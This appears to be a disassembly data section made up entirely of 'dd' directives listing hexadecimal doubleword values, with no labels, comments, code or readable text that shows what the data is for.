dd 17CF202Dh, 599913Eh, 0E7672AA5h, 0DF6ECC00h, 731FEDh
dd 4B16F157h, 723C850h, 0B9AEC40Fh, 207E0B55h, 0DA091F34h
dd 7054013Eh, 0BBCBC28Ah, 41E4418Eh, 0DEB8D830h, 0DCD5F300h
dd 28BC2414h, 409C57F7h, 1E361300h, 0C5477E0h, 0D003EA01h
dd 897B2550h, 1E6C2C20h, 583430A7h, 476030A6h, 0EE04C407h
dd 0BB931h, 6FB23AD3h, 0F8ED3027h, 0E784AC70h, 42B30E1Eh
dd 5D027E40h, 0B63B33h, 0FC4A1D53h, 20E770E0h, 0B358F40Bh
dd 9068024Ch, 76A4445Bh, 19A8A0FBh, 0A9C203ACh, 0BCA6052h
dd 87A091CBh, 0FE74907Ch, 0ED128912h, 19FBC000h, 0A86CFA33h
dd 403DD2BCh, 0B3428987h, 461DD00h, 3A681FA1h, 4C29AA00h
dd 410ED15Fh, 87E0C067h, 779D722Dh, 6818B705h, 0BC04BE82h
dd 3C051436h, 0CF45407h, 0F02C1101h, 0F902476Dh, 948051B8h
dd 66797029h, 0D88D1200h, 0FD580E42h, 0C879485Eh, 0DE55BC80h
dd 0A86194C1h, 0E8902278h, 7D5A83FCh, 5DAE0073h, 20948CCh
dd 0A02F547h, 4B9931ACh, 0D2989062h, 0AE2F0083h, 0ED0CC1ECh
dd 85091D42h, 693DC8Dh, 29023AFh, 951E3F01h, 869E247h
dd 4844306Fh, 80964312h, 328CA000h, 999D9192h, 70398034h
dd 94F5E85h, 3CE0A909h, 7AA0837Dh, 0FDB34Ah, 0A79318B9h
dd 0E5EAB577h, 0B8042171h, 68BC9A92h, 0A0800CC8h, 2A7B62E6h
dd 20A8991Fh, 3F20940h, 0BC4FD40Fh, 75ED0176h, 7C3349ABh
dd 0F844A107h, 70A386ECh, 56304827h, 6E21FB2h, 18A2412Bh
dd 0ABD2AD14h, 7BE7A3DCh, 302D0040h, 8173599h, 4303F96Ch
dd 0D27733DFh, 0EACBB8Bh, 0F45C06F0h, 98B9D3A0h, 0CA091158h
dd 807B8647h, 14ED9DACh, 0C3823071h, 41224B5Ah, 0F1DD5201h
dd 0EA1C746Dh, 1E059F4h, 94C84A7Eh, 0D41219E6h, 0BB71922Eh
dd 8488A424h, 0F285940h, 309B7709h, 86486314h, 2AC298FEh
dd 8068FD04h, 9D324BCCh, 7DF5002Eh, 0F2D4C2B5h, 56002FF6h
dd 36C3C22h, 0DCAD24h, 0D946A86h, 2E71B1B9h, 17E7D200h
dd 9F2CF15Ch, 5B5300CAh, 6C7DA247h, 7401E5D1h, 7A2E4D46h
dd 0B03064FCh, 49ED02C6h, 0CAE01DD6h, 0C8F71449h, 4713D38Ah
dd 18411E20h, 0CFD5A9C7h, 0BC9FE0EBh, 4C190072h, 81862EC3h
dd 8800DCE8h, 39BC2B0h, 0FF4D48h, 0B240F79Dh, 0E9DF5FCAh
dd 60582E24h, 0A001B400h, 1F44655Eh, 407C0CE7h, 3686F968h
dd 3200E4B8h, 0E0B278FBh, 2663A8h, 4E237AA4h, 9BF03FAEh
dd 0D21B7400h, 0F71ADD9Ah, 0F89400B1h, 848BE392h, 14710D25h
dd 32582900h, 557182ECh, 36A500AAh, 610AE995h, 0D2188BBCh
dd 0AD0E51C7h, 2CD49AC0h, 4E30B260h, 6EFA00B1h, 0C0917279h
dd 0D2C10064h, 0C7430546h, 2612EC8Bh, 88403378h, 0F6169BE9h
dd 8853016Bh, 2B3069B2h, 4498011h, 0A1902554h, 26289A3Ch
dd 50A018E3h, 380F2441h, 43C050A7h, 0D8899AF6h, 0EF28E3Fh
dd 2AF5B639h, 0A03C1649h, 0BE5CB91Ch, 1B54A0C7h, 97D662h
dd 0DFE35065h, 0FC22BD17h, 40884428h, 9D7F6B04h, 0ADA85801h
dd 7648AFCFh, 24C0024h, 0AAA2FE0Ch, 4CEE275Fh, 74384002h
dd 40374E78h, 486114h, 7C5D41C3h, 3E459EB1h, 8332FA01h
dd 6654AC97h, 0F4BD020h, 9AE48A40h, 5C4241C0h, 83008ED4h
dd 0E13C3ABEh, 2F0988Fh, 0F6C474E0h, 0D4A0DB87h, 0C27D9F2Ah
dd 0C0683A59h, 0D31D7125h, 0B88100B0h, 7DD2F8A4h, 0C5015075h
dd 0D142FDCCh, 0BCD03851h, 819D3D5Ch, 35E6CD80h, 7A5A5846h
dd 90554000h, 0D156FFBh, 696116BCh, 2C01353h, 0F38A88D4h
dd 0AEE2D480h, 3B3F8562h, 3D540073h, 381A41E1h, 537A0431h
dd 0C035E927h, 0C47064D0h, 63B16017h, 45F71028h, 35B83087h
dd 6E385A01h, 4FE61E92h, 0E84DD6D0h, 0FA5D0171h, 40B7C2B4h
dd 8108299Dh, 44340BDEh, 2F42024h, 5AD83849h, 31C0A0DDh
dd 0CF025EBCh, 95D36AA3h, 17F4C02Ch, 9A1500FAh, 6038EBA7h
dd 0F73A7B30h, 20980FDEh, 6D3AC0ABh, 6256452Ah, 0DB325808h
dd 28B10640h, 0F6BC5B16h, 73106C44h, 504434A7h, 21CE00D6h
dd 1EFCA79Dh, 9C0052A8h, 0D3E14ECBh, 1A10B13h, 819A7DE8h
dd 205FA067h, 0DB099864h, 20FBD0CFh, 7F96CE9Ch, 38057CF0h
dd 4A8C4E2Fh, 49F1B42Ah, 0DAE8FC00h, 0B56AB80Dh, 9F62173Ah
dd 0A3020065h, 0F9ACAD30h, 0D36CF418h, 18C76F51h, 116A3F1Ch
dd 5F72321Dh, 82A24000h, 9D16E268h, 78A6007Eh, 0E1451A8Dh
dd 0A8F081FEh, 5A00F492h, 6E84422Ch, 2AA191h, 165C2D1h
dd 295FE9C7h, 0DE634700h, 59BEAA5h, 0D21906D4h, 0E0480A35h
dd 0FA74BCF8h, 8D00CCFCh, 0C988A7F0h, 74FE192h, 5D7C8C85h
dd 5CC820C2h, 4E01B34Ah, 0F70D34A6h, 0F8200AE0h, 2131884Bh
dd 0F6FEAD00h, 82DC398Fh, 0E4FF87Ch, 706096CFh, 0D6B5ECC0h
dd 1E3F9D9Ch, 0B0049C64h, 950919D7h, 0DD1CA3DEh, 9ED9158Fh
dd 0CC15DCD9h, 9218B0D6h, 12C294Dh, 34EEB490h, 529EFF09h
dd 4640991Eh, 0EC852A10h, 0F6EE0800h, 7243BB6Eh, 0B86B007Dh
dd 0AF377E56h, 0F500B1C6h, 0B5023047h, 71F0C91h, 2262816Ah
dd 0FAC253AEh, 2C485292h, 3C144130h, 794FFE4h, 4E2EEB8Eh
dd 0D3191D21h, 0A3E070h, 0F7529ACCh, 5E37F3E5h, 7C57A705h
dd 90163216h, 1EA80020h, 8742006Bh, 282E0AC9h, 48B1E567h
dd 64402B64h, 0ADEBE39h, 9FD811C3h, 0CAC79940h, 4CC8EF0h
dd 7D8296E8h, 0EB3480ACh, 8A17838Fh, 4C5248DAh, 0CB476840h
dd 7AAF3Bh, 0B02DF0D2h, 9CB71279h, 0E0024FCh, 0C6A9DE36h
dd 28CAE318h, 3BC1AECh, 820344E1h, 10017DD1h, 0F0D455CDh
dd 0F16AEBD8h, 0AFD40085h, 61007E52h, 1D2362Eh, 15DE24h
dd 12486356h, 0A1AC203Eh, 0A9BF3800h, 0A60D1B8Fh, 432900D2h
dd 76EEBC6Bh, 0A838AC06h, 57D98C9Bh, 72E5B8ADh, 38BF00DFh
dd 97068A92h, 147315D0h, 0A7C1FE1Dh, 6D2E0BC0h, 7E84C9F2h
dd 4508001Ch, 7DF01486h, 760E8CFAh, 81A453F8h, 0E4714C2Eh
dd 3E4DD1F4h, 0E0808F80h, 0D97A4F11h, 22008627h, 0D157076Bh
dd 75833B01h, 88FC004Bh, 0E8EE4C8Bh, 0B2011D4Fh, 3F6504B5h
dd 37300568h, 0DF350BB4h, 2F05711Ch, 0D5BC001Dh, 5010160Ah
dd 0F113D600h, 667CB485h, 0C3241D2Eh, 0DD62C2EBh, 0E76016C2h
dd 8A009474h, 8805F24Fh, 258D0F50h, 0D400FFE5h, 2A16BD44h
dd 0DE60300h, 0E36D2F5Ah, 56A03EE0h, 0E2641500h, 0B1064621h
dd 0AC73900h, 0E0909B1Fh, 6E76003Dh, 0CDFDF163h, 0F37E6918h
dd 790BF512h, 0A0E42400h, 4C7F40BBh, 0C71874D8h, 72ED1811h
dd 5E97B700h, 765A67A1h, 166E007Eh, 0D53EAD5h, 0A905BD0Bh
dd 2A3BF190h, 71140B0h, 52B94539h, 0E9015067h, 0C400D544h
dd 684C8016h, 1D7B23BDh, 0E7F7E402h, 0F66CACA0h, 0ED09F5DDh
dd 0E069EA38h, 73749FFCh
dd 0AC9C50E2h, 2E17132Dh, 0E6809241h, 0C6608CE4h, 1A3D29B1h
dd 359A1E59h, 3A1080D3h, 0CA8F556Bh, 5AA92007h, 0E8B01842h
dd 9051E33Bh, 77903F28h, 3ED4FBA8h, 4102F563h, 0EDC574CEh
dd 245C64ECh, 812E7180h, 8D262CD4h, 0E4098A1Fh, 207C0E5Fh
dd 5C4DA23Ah, 4400262h, 0D11EC936h, 49D76468h, 87752802h
dd 68EA1632h, 265205F4h, 966C61C0h, 9940409Ah, 0B1CDB090h
dd 60FF8900h, 6C568FC1h, 445900F0h, 20710997h, 0E800F3CAh
dd 0BE027857h, 0E0DFAB11h, 60210090h, 0D68CB12h, 0B7030E94h
dd 0B06A8E3Ah, 99A80950h, 34097CA4h, 0A0217805h, 0BA0ED93Ch
dd 5C6034EBh, 6A7326C7h, 0BC0095F5h, 0DEE06101h, 195201F6h
dd 8A829427h, 2B7C7412h, 0A618ECB0h, 0C860AF0Dh, 0E89500D4h
dd 402C5831h, 83DC44Dh, 1FE483D8h, 0D8696DAEh, 0BD9BD0h
dd 0A039F977h, 6BBF1D53h, 65FDB600h, 79B5ABF5h, 16471EADh
dd 0E85486A3h, 9B0070C7h, 0DFF1E331h, 0B675EE96h, 7F3003Ch
dd 658DB829h, 10E2FA2Bh, 6C59F910h, 98CBAB03h, 80C997Dh
dd 181F3EA1h, 1BB7C9Dh, 0FAB6494Fh, 20D2865Eh, 83031B86h
dd 0D82FFCF6h, 7FE7F0ECh, 8D4B00EDh, 0C395FF3h, 820034E6h
dd 607665E4h, 0E0A405CFh, 5EC50075h, 0F466147Bh, 0CDF8E32Fh
dd 0C9C30278h, 0C1F9E2C9h, 3E2C2C8h, 0FFD36B67h, 299BA802h
dd 780EE4E3h, 6CD300B0h, 0F519194h, 780098DDh, 197583A3h
dd 18BDE2D9h, 49C35D85h, 260BB499h, 50860Fh, 1ED8FBF2h
dd 0E5FF00EFh, 0D903A437h, 97004DC3h, 2F1C191Ah, 2A68EDB5h
dd 1C98748Fh, 0BE039131h, 0BA8918FBh, 1204196Dh, 80C9E93Ah
dd 6F313C5Ah, 18BC2A4h, 9268E7BEh, 8499C1B6h, 0ED1386C0h
dd 0B3034EC0h, 35378C3h, 27247AFDh, 5100C68Eh, 8B39B0F2h
dd 4D0491h, 0D2B4F477h, 0FA0CD359h, 19FF0A00h, 4FC66C6h
dd 3FF09Eh, 0B392F66Bh, 5C0C75A3h, 4492A5F4h, 0F43CD57Ch
dd 0E1470040h, 0FB4BEFADh, 0CD774Dh, 0EC963017h, 785E1ADEh
dd 7840D44Bh, 7BEE3AEBh, 92AD001Dh, 5FD0AAACh, 417822Ch
dd 0D5038A41h, 305FC14h, 0F7452931h, 0ABD00BEEh, 7E068508h
dd 17EDC7C2h, 0A25A0089h, 6A66EF31h, 0BB2EBFCAh, 0A4067084h
dd 0FF978AFh, 0ABE5E452h, 777E6Eh, 25D7F18Bh, 0B3006BA0h
dd 849AEB08h, 13BE27h, 79E86205h, 0BBD709Fh, 9C2D4B1Ch
dd 0F9D03B40h, 0CC8BA41Dh, 7221B108h, 1703877Fh, 9650FE73h
dd 0A3191293h, 9FEA104Dh, 7814351Bh, 0F8766BE1h, 6E06C69Fh
dd 66F159EEh, 9C4C3308h, 0BE0BC20h, 5307FBCBh, 13985007h
dd 0CC8CD61h, 0B7C84C4Ah, 1BC7CFC0h, 4895399Ah, 13BB08FEh
dd 40116236h, 0E20B7582h, 424CFF88h, 4B009DA7h, 3AB60B6Ch
dd 0E0803942h, 0BA1D1EB7h, 3D77E9EEh, 6DD4739h, 626D9450h
dd 5DA80680h, 40AA45CEh, 591E4219h, 0D0F0AB18h, 9679C071h
dd 0BB94219Dh, 555DD00h, 881D4772h, 73BE815h, 136564D1h
dd 77243162h, 161C40FAh, 2500F7EBh, 0D4B602C5h, 7612643h
dd 8BACC778h, 89DF8606h, 4F01AB07h, 0E4B9293h, 6909512h
dd 0AAD65DFAh, 2F423CE1h, 5426316Eh, 0C6016808h, 0B3BE7C55h
dd 29CD67BCh, 0C2428CDCh, 0D77DF429h, 0D136E60h, 56A2510Fh
dd 0E467EBAh, 69A966h, 8D0AEADCh, 0D422A18Fh, 2CC6233Fh
dd 0D3166677h, 554C1D00h, 1D639EAFh, 32FC0BDh, 16B36C7Ah
dd 209AB5C7h, 0C8E4909Ch, 0E1357D1Ch, 19E3A1C6h, 215C6008h
dd 0BAC8EC99h, 29C05D00h, 52623725h, 0AFB51C97h, 59AA4C71h
dd 8F00DDD9h, 0CDD28765h, 3ADA4C46h, 2430415Dh, 65E71321h
dd 0BC83EA00h, 0E17FDFDDh, 0FEEB005Bh, 55A6929Fh, 570227D7h
dd 0E8B24349h, 93CC87FBh, 82B635D2h, 8F41B10h, 0DAAB8084h
dd 4CE08AC0h, 5B73C318h, 4992E228h, 0C29C44E9h, 7EC6E10Bh
dd 4E13A331h, 0D4F010FFh, 6E00A0E7h, 0CF39ED9Ch, 3493732h
dd 0DFAA13BFh, 0F806A3A2h, 0EB879D54h, 80ECA018h, 0C04B7039h
dd 310C2610h, 0C103C84Dh, 1E1A449Dh, 93528815h, 54D51DEAh
dd 189C8007h, 4DFC1F6Ah, 8B36B300h, 0C579569Dh, 1B571D9Eh
dd 0D6AA83BDh, 0C4D8CE60h, 2B074651h, 0ACC0F475h, 10C8E650h
dd 0ADD80082h, 7A3FA0A6h, 800076A7h, 2A70A39Dh, 0EEB93847h
dd 0F58D00C8h, 97363B4Ah, 0E600756Dh, 0C0086C2Fh, 0F97B2Dh
dd 0D284A88Ah, 158B2E85h, 0DAF2EA0Ch, 76B338F6h, 0DE350046h
dd 340A766Ch, 7A006A87h, 0DB1D8F90h, 0E214D6B7h, 6FB258D1h
dd 0FD056F03h, 49C87D35h, 7A0C56A4h, 302395D7h, 1BF30022h
dd 0F6F7DB43h, 0AE0329ADh, 0FE93FFD4h, 20C4C088h, 6399058Fh
dd 6D9CFBh, 7EE0DCDAh, 420083F7h, 0D6A2ED97h, 6F4326h
dd 884010F4h, 0CD509A7Fh, 68F72C37h, 89787011h, 8520A094h
dd 3E41007Dh, 969E6A2Eh, 2D05838Ch, 0E244B23Fh, 75F67A80h
dd 0A4E64Ah, 41189925h, 0BBAF6B92h, 142AFD3Dh, 10C393Ch
dd 0CE5B24BDh, 488BBA9Bh, 5A039C75h, 95E0557Ch, 0F8E811F6h
dd 0B144970Fh, 280CF67Bh, 60E0412Dh, 64C71983h, 601C793Dh
dd 2707CC9Ch, 1433C27Ch, 89B7A02Bh, 6C7D18A4h, 41F7E097h
dd 0AC85B400h, 9FD26EF2h, 0CE480287h, 0B7FEAB8h, 9BD9B360h
dd 66DE6B07h, 0B3764CE6h, 11D0B721h, 90F08100h, 0A67E30F7h
dd 1F410F02h, 50D88AB7h, 808692A8h, 68CF2288h, 112848E3h
dd 7DF2472h, 597B3300h, 0EAA6F48Ch, 11E60021h, 17A12C69h
dd 0D93749DCh, 0A10F3081h, 9FDD60F9h, 0E8CA1080h, 12788E65h
dd 6BAC0307h, 0D6460288h, 0E1250021h, 0BCA55A65h, 2E076F18h
dd 0F7F5351Bh, 0C562C07Fh, 64A7A67Dh, 809630EAh, 0BCAE6FEEh
dd 6802D328h, 190E656h, 0D90475F0h, 68524F53h, 0F829204Ah
dd 12184075h, 99595FC6h, 0D455001Eh, 0D0C26F46h, 4A001714h
dd 1C39B8C5h, 0A64D5A1h, 2E73ABF2h, 0D2E900A8h, 0F0B93CF9h
dd 964C38h, 5D226713h, 303848EAh, 0FCB8C0F3h, 0D37FD590h
dd 7838247Ah, 23AF0260h, 40CFF958h, 4F3D6DFCh, 942BE06Ch
dd 7FC9E600h, 1FB19EDCh, 0F7C107DEh, 3080F995h, 55EB1120h
dd 96F6AD00h, 0B039C05Eh, 371901E1h, 9CFD0A84h, 18A2F488h
dd 0E94AA00h, 3AC0B5F7h, 1EC6ECC7h, 81B4D512h, 6DFB15B7h
dd 0FAE8FCD1h, 2CBD1000h, 217E63E9h, 0CFC80022h, 0EC6A1704h
dd 8006825h, 419C78DBh, 0CA57A9AAh, 55049610h, 0FA8BD86h
dd 0E3940010h, 1A03494Dh, 0D300F0A4h, 0A89C1DA1h, 0E8A4EC2h
dd 9A78EE74h, 0B16D5B40h, 0C400D963h, 4CDA2FE4h, 1F07BBC2h
dd 17A8Bh, 0ACD0AFFCh, 0BD00B629h, 1FDCBE4Fh, 484660F3h
dd 3300C1E4h, 537C51F6h, 68002F05h, 9A198D52h, 1CAF5D88h
dd 801DE26Fh, 0A5178502h, 0DF00C14Fh, 8814D34Ch, 9E3C8h
dd 950C077Dh, 8728A13Eh, 8C805603h, 0E8054E36h, 4D51E2h
dd 0BE48C8DDh, 498D6F8h, 6C684A03h, 0C0807409h, 28BF762h
dd 0E4E0F272h, 0CE60C366h, 0D0006D1h, 363102A9h, 398ED6CAh
dd 9480C70Bh, 4BC896E9h, 0A2016ABEh, 0EA2F41E1h, 5EC45292h
dd 8E0400A3h, 0F6249475h, 47000921h, 39BE6D55h, 0A03AEF7Bh
dd 5776B4h, 881E7061h, 4D52DA97h, 501D5F90h, 4580FE63h
dd 205A5F84h, 0FDD23940h, 0A339BF8Fh, 0AE00DCF5h, 0E49B6655h
dd 0C0199BAh, 0F6936153h, 0ECC31A7h, 14F80027h, 6FC8B7B9h
dd 85001907h, 52EBEC97h, 0EC31EFBh, 616344C5h, 949CD018h
dd 0F08DC900h, 2D230F9Ah
dd 6350737h, 6052FF65h, 4B0D27B8h, 0B208C203h, 0E8E073F4h
dd 0D48489h, 108C2551h, 5D3C2A6Fh, 0A9F84C00h, 32E55FEFh
dd 0D8560099h, 0C1B0FFD2h, 0A5395CF5h, 554F803Fh, 0C31B6FFCh
dd 4E320F41h, 89E0AAC4h, 1F378F97h, 6E34AE02h, 819610A4h
dd 11CBEE4h, 4CE231CCh, 0A904AA4Ch, 807BE0F1h, 0A7D80BD8h
dd 0FDC07A00h, 0BAE585BCh, 9F291F18h, 8831CEF3h, 607C4F80h
dd 774C27A6h, 2C42581Bh, 4300E7CBh, 0C694DC64h, 0B37B5Eh
dd 0C7B3CABh, 321A9C05h, 8215F800h, 6AE0B7FEh, 0CA1013D0h
dd 93C50009h, 924D946Eh, 6BF5C726h, 0BB0B4A01h, 8EE0FBB0h
dd 43E214C2h, 110EDC6Dh, 74202D19h, 0D6BF0CABh, 0C2908FEAh
dd 30F1B001h, 0D8671E65h, 0F400824h, 13AADCEBh, 0CEB27AC0h
dd 5F0020F2h, 6146124h, 21CC433h, 0F7393B9Ch, 6FE0A4AFh
dd 0EC003FD1h, 442704BEh, 4D7093FAh, 570020D5h, 0ECA3153Eh
dd 13247AE0h, 0E00639Ch, 2191A5B6h, 8978C0DDh, 0B75EBDBBh
dd 330024F4h, 0C5462E53h, 9026D047h, 20273B3Ch, 0CC805C48h
dd 511F53C4h, 73883E50h, 70625D30h, 7B02DFh, 0AFC7AB27h
dd 8112E5A7h, 0A8F03100h, 2ED6B821h, 0D80A172Ah, 456A0003h
dd 23516236h, 7D7E0098h, 0CB4D5F00h, 0C2780C32h, 94D400E4h
dd 6CEBA2A7h, 80003BF6h, 4FC5735h, 0C02775DAh, 7D8BE030h
dd 6B001BD2h, 78FAFEA7h, 288E52h, 0CD386D40h, 87DB80E7h
dd 8036C328h, 692E5800h, 126778FEh, 8F080725h, 0D019C4A1h
dd 432DE26Dh, 72B92F16h, 0CC660000h, 237B61Bh, 241F5EFh
dd 8A80DB21h, 87B3FFBEh, 3E540107h, 9E5038B7h, 0CA2253h
dd 9C460A16h, 0DE1B1D5Eh, 17CA94Ch, 0E7AB8763h, 3C2072C9h
dd 48DC0045h, 0E3842D6h, 6624AD24h, 31009451h, 3464F27Eh
dd 0F179020Dh, 5D078A7Bh, 551AB487h, 6F1C084h, 0D20044C8h
dd 5724ADEBh, 6E985Ch, 5F2EF3E4h, 28C514A5h, 0C878D400h
dd 0B3B2F08Eh, 26CC00D8h, 5AB13B94h, 540089FDh, 0B577C6DDh
dd 1DFF3450h, 0C0AD35EAh, 44C98B78h, 0DC05C51Ch, 5CB67BDAh
dd 0EAECC0BAh, 3492D6B3h, 0E81BFF00h, 0C4542747h, 0CF3503A1h
dd 4172E2BAh, 5AB73C0h, 82AE180Eh, 6A4D008Eh, 0B8DBCD59h
dd 3CB4E0BDh, 5D0051CBh, 0B742DDD2h, 0C500AE55h, 57A53D38h
dd 9894B68Fh, 5B43CADh, 0CDB2A382h, 68C0C1E0h, 87000BECh
dd 5BF87D16h, 9F1E2F7h, 94CB5937h, 0D2E75820h, 0B3001AC1h
dd 4F7702BBh, 6E2ACh, 91B28916h, 6BB943CFh, 85360509h
dd 5F3000EBh, 0D270D4h, 0CB9387D7h, 0B8436296h, 49F640C0h
dd 32171Bh, 87C565C6h, 0F1DEE244h, 97840300h, 0F24B81BDh
dd 7D6900CAh, 0B9632005h, 0C8004873h, 2A2CA5A7h, 774AF7E7h
dd 0CC9450FCh, 68B9006Ah, 0E3D87493h, 0FB00E596h, 0CFE07CD6h
dd 7414110Bh, 0BC7201C1h, 8EA64819h, 852880D9h, 3930A06h
dd 602400ABh, 82517299h, 0E24CBD43h, 3681040Bh, 18880529h
dd 0DC6D0579h, 806057C0h, 6ECB750Fh, 35C30E02h, 60EDD9C9h
dd 0C987927h, 0D586EFF3h, 0B4003B10h, 0B0418BA3h, 0FC74EBh
dd 7B16C13Eh, 0CFE1BB36h, 0C7644500h, 96BF61D7h, 0CE28012Bh
dd 0BA1BDADEh, 0D619F431h, 27E9EF1Dh, 2B856AC0h, 721423h
dd 7B96FAB1h, 0EE5ECD98h, 43E04001h, 381DAC87h, 6F0BCCh
dd 0AA244ABBh, 52F2B8ABh, 5E66FD01h, 2568A488h, 2C89CECh
dd 37721A1Dh, 0AE60D367h, 0A67EA571h, 0D0B34F00h, 0AE3D26A0h
dd 0D3100FFh, 3A322CCCh, 615D0E3Ch, 0B599138Ch, 7D4DFA00h
dd 2305B7h, 4FC3FD45h, 6CB165A7h, 15CA6200h, 0E026538Ch
dd 0B27618C5h, 0FAE68050h, 24EB6824h, 1F17C181h, 8CE4E2B7h
dd 3B3FEEAEh, 0DA859978h, 81060E74h, 329F4A59h, 9B95029Ch
dd 406F9AEFh, 3160FA6Fh, 0BB990B15h, 0CB1440E2h, 0D233EBE4h
dd 0A0D008C8h, 679B257Eh, 36152158h, 0F503390Eh, 0A324FD8Dh
dd 7282A02Dh, 0A2CE000Bh, 0D1B741ECh, 6100E403h, 0E32B6684h
dd 38395E8h, 7E191080h, 0C1E06217h, 200F33EBh, 0F4BA6021h
dd 0C8FA0CC5h, 77A36063h, 7EB011Dh, 0D1AC5D37h, 8BDBD1E5h
dd 0A0454110h, 6B8685Ch, 4D900021h, 0D1BAF887h, 50057BDh
dd 0D56E3A7Eh, 0F2B89AC7h, 0F96FECAh, 6CB56F34h, 698C4DC0h
dd 3B004C17h, 0C27DB9DFh, 0D00AFCh, 0F65E16BBh, 0C35DA092h
dd 802F7638h, 598A97DAh, 90B88F23h, 8598BA59h, 0DE40FD04h
dd 1BC1066h, 53FE7718h, 81FDEAD6h, 90C12E20h, 31804360h
dd 9E1AD868h, 0FD0CCDA3h, 83DBB5Ch, 0E621C005h, 3C31AEBh
dd 9CD29C3Dh, 0B2977D34h, 70A9BE01h, 10389742h, 35594A0Eh
dd 62BFE602h, 990D100h, 6EC10EB0h, 9DC04BC3h, 7A38A813h
dd 0D8A14A00h, 8F02DAAEh, 0CEEB0E6Ah, 0D107B86Fh, 2D1DC0D9h
dd 5E00AA7Bh, 0EC9C01A0h, 64099Ah, 0CA61D0CEh, 4175C94Fh
dd 0A9025B0Eh, 93D180F7h, 0D8EB57h, 0A1C5CD61h, 1D47CE4Fh
dd 18495A58h, 0BFA89488h, 0F13C0050h, 0B24A694Eh, 0D019BA5Bh
dd 0E3C98DABh, 1D25D0h, 0ADB007ECh, 22549F81h, 0C6D09600h
dd 0AA5F7FEAh, 3677EEDh, 60A0E051h, 91F93B88h, 0B7C0505Eh
dd 75195AA9h, 0E3807FCFh, 0C1788992h, 0ECA19EC8h, 0F47F1321h
dd 0C0571E03h, 0C5DCB34h, 0BFAD7341h, 10E2BB1h, 378BC2h
dd 59C922B8h, 2450005Ch, 0F503E7A7h, 0A33055BEh, 29BB318Ch
dd 5EB9166Eh, 0FB7D0F3Ch, 8943B2A3h, 11C62103h, 8C579F7h
dd 0A99AF438h, 6BC8E498h, 4A680A3Ah, 80E45AE9h, 1B11BA36h
dd 14B08CC8h, 0C8961028h, 3C03B5Dh, 0FF118294h, 8DED8991h
dd 0A83A97h, 0C9983E1h, 18905D9Ch, 0E15CB730h, 1CC87Bh
dd 48D31D6Bh, 0D14F105Ah, 0D9569200h, 2ED517F9h, 0B29E1D87h
dd 6E054A58h, 2060969Ch, 596CDE98h, 95B3FC00h, 7D8E435Dh
dd 506E02F0h, 60D37963h, 0E9A82448h, 88004B4Bh, 721068A0h
dd 460103F2h, 73231164h, 0C45885D9h, 0A091A8EBh, 0AF0B8B00h
dd 41CC033h, 0A9F7092Dh, 0BB4882D9h, 185B68C0h, 5557E116h
dd 83BC4D10h, 0EA3E886h, 404A99A1h, 200DC907h, 0DD347706h
dd 5A15F0A6h, 78A0312Eh, 0FE1D10Bh, 0C9500CBh, 0CA73EECh
dd 0A6F748Ch, 0C1003851h, 89E88150h, 1B34DC0h, 42ED7A65h
dd 0D1C59A85h, 0CCE4508Eh, 0EB781479h, 5C747C1Dh, 0C5B51040h
dd 30920E12h, 0CA983DD7h, 3105C8F6h, 0B29B3423h, 0F8B1940Ah
dd 1D800D9Eh, 0C783CD16h, 5380A023h, 304B9E3h, 0F19D3B73h
dd 0C84B1832h, 0B06A2154h, 34885187h, 0D67042D0h, 150EC444h
dd 0D21E97B2h, 84ADC40h, 90CBC9Dh, 0B6B893EBh, 3151E431h
dd 8108140Ch, 4ADC2E10h, 84D38F14h, 0A48843AAh, 226B1F84h
dd 9A053D21h, 0C27D2A37h, 0A446DED0h, 26CD80A1h, 5A0875E4h
dd 7097CE4Ah, 13F6B69Dh, 0CA0FA700h, 0A1872560h, 0A9D72085h
dd 0A0A85700h, 848EE24Fh, 777F2409h, 10C51414h, 91D24B06h
dd 0B8127156h, 1F003855h, 8E93E962h, 60ABFCBBh, 20E1214Eh
dd 21000B17h, 897FF177h, 9E683E4h, 85E85BA6h, 8A82D8E0h
dd 0B71DD507h, 0AFB11573h, 0DB20AB4Eh, 2E440C27h, 0E851B2CBh
dd 44AFA0Eh, 37D06056h, 3183CDDh, 85B9019h, 0BDE1D4h, 7E74828Ch
dd 0AA8057E3h, 47450F61h, 209AD1D4h, 0A0443042h, 2FC7EB00h
dd 253DD699h, 0C1ED0088h, 0EF940D39h, 0F7055068h, 0B10B821Bh
dd 5376280Fh, 0D84AD033h, 0F48511h, 13179C62h, 0A041CBA3h
dd 0F96A1000h
dd 1E6033F1h, 2FA0A0FEh, 66B000FFh, 88FF289h, 1F008A67h
dd 0B6DFBC8h, 12168626h, 257D77h, 62A5AADCh, 76546F79h
dd 1890F4C0h, 405D0900h, 554B8FBAh, 4F130470h, 0C05A740Ah
dd 0E2F7E35Ch, 0A21F0D73h, 6C64E9ECh, 395AFB80h, 1B0BDD1h
dd 3489E24Bh, 0D17FF3EFh, 9422C0C2h, 8C4AE4Dh, 3B9B38CAh
dd 0F99454h, 764CB593h, 0D31026BEh, 0D0115C16h, 0CA01DB03h
dd 0B890E4E9h, 0A1423CEh, 12B17D31h, 0F97104CCh, 0E9BB00F8h
dd 32AEFDC2h, 0EF58E01Bh, 106F4461h, 0D4E67A8h, 22EB7A5h
dd 7A88F0B9h, 7530A090h, 99D62977h, 0A85004DCh, 91624080h
dd 807475A8h, 19BE421h, 4D340B71h, 863A9882h, 0B28C5E26h
dd 5DDC808h, 9D0F02DFh, 431CA7A0h, 93D18682h, 0A0ABC2D8h
dd 24743A80h, 85AF0091h, 444D8427h, 0A43E9C2Fh, 5D10039Ah
dd 3A6FE4h, 0AB405E81h, 0B12255C1h, 0F5597D18h, 26D7DB49h
dd 93649EC6h, 0D0B4043Bh, 80AD0BA3h, 4D572878h, 44B10Dh
dd 9729CF7Eh, 771D0578h, 6D58BB02h, 1035A058h, 185DDEDBh
dd 4838B247h, 0F7A08854h, 353B131Fh, 159063Ch, 29499CC0h
dd 1CC0224h, 689B19B8h, 1B1848B2h, 4BEFFD00h, 9752D114h
dd 0C7C0C090h, 35BBA8CAh, 4F4A2400h, 3CE194D9h, 452D0402h
dd 81826DF9h, 705355C5h, 0FC1208E8h, 0EF000154h, 96D75223h
dd 1202EA8Ch, 580B3363h, 6864B8C8h, 6DC8B88Bh, 0E09CA9B6h
dd 35B29F10h, 11953D35h, 0CCF70C03h, 85108092h, 1C602A94h
dd 0F06400DCh, 9FA716DDh, 0B6075FA6h, 43652E7Fh, 74F7E481h
dd 0CE7CCh, 6F130245h, 6120BFD4h, 21F2980Fh, 0A0B8818Dh
dd 24F44B17h, 4E080E58h, 0C1601D8Bh, 3E788F13h, 0ADF34Ch
